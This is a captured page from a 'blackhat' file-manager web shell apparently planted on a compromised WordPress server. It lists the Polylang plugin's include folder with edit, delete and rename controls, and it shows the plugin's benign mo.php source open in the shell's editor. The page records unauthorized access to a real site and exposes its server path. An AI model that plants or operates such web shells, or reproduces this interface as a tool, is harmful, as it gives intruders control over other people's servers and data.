-
WIBUHAX0R1337
-
/
home
/
cideo
/
www
/
wp-contentVIp
/
plugins
/
polylang
/
include
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
base.php
5.15KB
Edit File
Delete File
Rename
class-polylang.php
7.697KB
Edit File
Delete File
Rename
crud-posts.php
10.378KB
Edit File
Delete File
Rename
filters-links.php
4.985KB
Edit File
Delete File
Rename
filters.php
12.375KB
Edit File
Delete File
Rename
language.php
9.809KB
Edit File
Delete File
Rename
links-abstract-domain.php
2.195KB
Edit File
Delete File
Rename
links-default.php
2.524KB
Edit File
Delete File
Rename
links-directory.php
9.078KB
Edit File
Delete File
Rename
links-model.php
3.305KB
Edit File
Delete File
Rename
links-permalinks.php
3.496KB
Edit File
Delete File
Rename
links.php
0.815KB
Edit File
Delete File
Rename
mo.php
3.076KB
Edit File
Delete File
Rename
model.php
22.146KB
Edit File
Delete File
Rename
nav-menu.php
3.936KB
Edit File
Delete File
Rename
olt-manager.php
8.786KB
Edit File
Delete File
Rename
query.php
5.36KB
Edit File
Delete File
Rename
rest-request.php
2.313KB
Edit File
Delete File
Rename
static-pages.php
3.433KB
Edit File
Delete File
Rename
switcher.php
8.253KB
Edit File
Delete File
Rename
translated-object.php
10.463KB
Edit File
Delete File
Rename
translated-post.php
7.425KB
Edit File
Delete File
Rename
translated-term.php
6.159KB
Edit File
Delete File
Rename
walker-dropdown.php
3.452KB
Edit File
Delete File
Rename
walker-list.php
2.289KB
Edit File
Delete File
Rename
widget-calendar.php
9.153KB
Edit File
Delete File
Rename
widget-languages.php
5.144KB
Edit File
Delete File
Rename
<?php /** * Manages strings translations storage * * @since 1.2 * @since 2.1 Stores the strings in a post meta instead of post content to avoid unserialize issues (See #63) */ class PLL_MO extends MO { /** * Registers the polylang_mo custom post type, only at first object creation * * @since 1.2 */ public function __construct() { if ( ! post_type_exists( 'polylang_mo' ) ) { $labels = array( 'name' => __( 'Strings translations', 'polylang' ) ); register_post_type( 'polylang_mo', array( 'labels' => $labels, 'rewrite' => false, 'query_var' => false, '_pll' => true ) ); add_action( 'pll_add_language', array( $this, 'clean_cache' ) ); } } /** * Writes a PLL_MO object into a custom post meta * * @since 1.2 * * @param object $lang The language in which we want to export strings */ public function export_to_db( $lang ) { $this->add_entry( $this->make_entry( '', '' ) ); // Empty string translation, just in case // Would be convenient to store the whole object but it would take a huge space in DB // So let's keep only the strings in an array $strings = array(); foreach ( $this->entries as $entry ) { $strings[] = array( $entry->singular, $this->translate( $entry->singular ) ); } $strings = wp_slash( $strings ); // Avoid breaking slashed strings in update_post_meta. See https://codex.wordpress.org/Function_Reference/update_post_meta#Character_Escaping if ( empty( $lang->mo_id ) ) { $post = array( 'post_title' => 'polylang_mo_' . $lang->term_id, 'post_status' => 'private', // To avoid a conflict with WP Super Cache. See https://wordpress.org/support/topic/polylang_mo-and-404s-take-2 'post_type' => 'polylang_mo', ); $mo_id = wp_insert_post( $post ); update_post_meta( $mo_id, '_pll_strings_translations', $strings ); } else { update_post_meta( $lang->mo_id, '_pll_strings_translations', $strings ); } } /** * Reads a PLL_MO object from a custom post meta * * @since 1.2 * * @param object $lang The language in which we want to get strings */ public function import_from_db( $lang ) { if ( ! empty( $lang->mo_id ) ) { $strings = get_post_meta( $lang->mo_id, '_pll_strings_translations', true ); if ( is_array( $strings ) ) { foreach ( $strings as $msg ) { $this->add_entry( $this->make_entry( $msg[0], $msg[1] ) ); } } } } /** * Returns the post id of the post storing the strings translations * * @since 1.4 * * @param object $lang * @return int */ public static function get_id( $lang ) { global $wpdb; $ids = wp_cache_get( 'polylang_mo_ids' ); if ( empty( $ids ) ) { $ids = $wpdb->get_results( "SELECT post_title, ID FROM $wpdb->posts WHERE post_type='polylang_mo'", OBJECT_K ); wp_cache_add( 'polylang_mo_ids', $ids ); } // The mo id for a language can be transiently empty return isset( $ids[ 'polylang_mo_' . $lang->term_id ] ) ? $ids[ 'polylang_mo_' . $lang->term_id ]->ID : null; } /** * Invalidate the cache when adding a new language * * @since 2.0.5 */ public function clean_cache() { wp_cache_delete( 'polylang_mo_ids' ); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat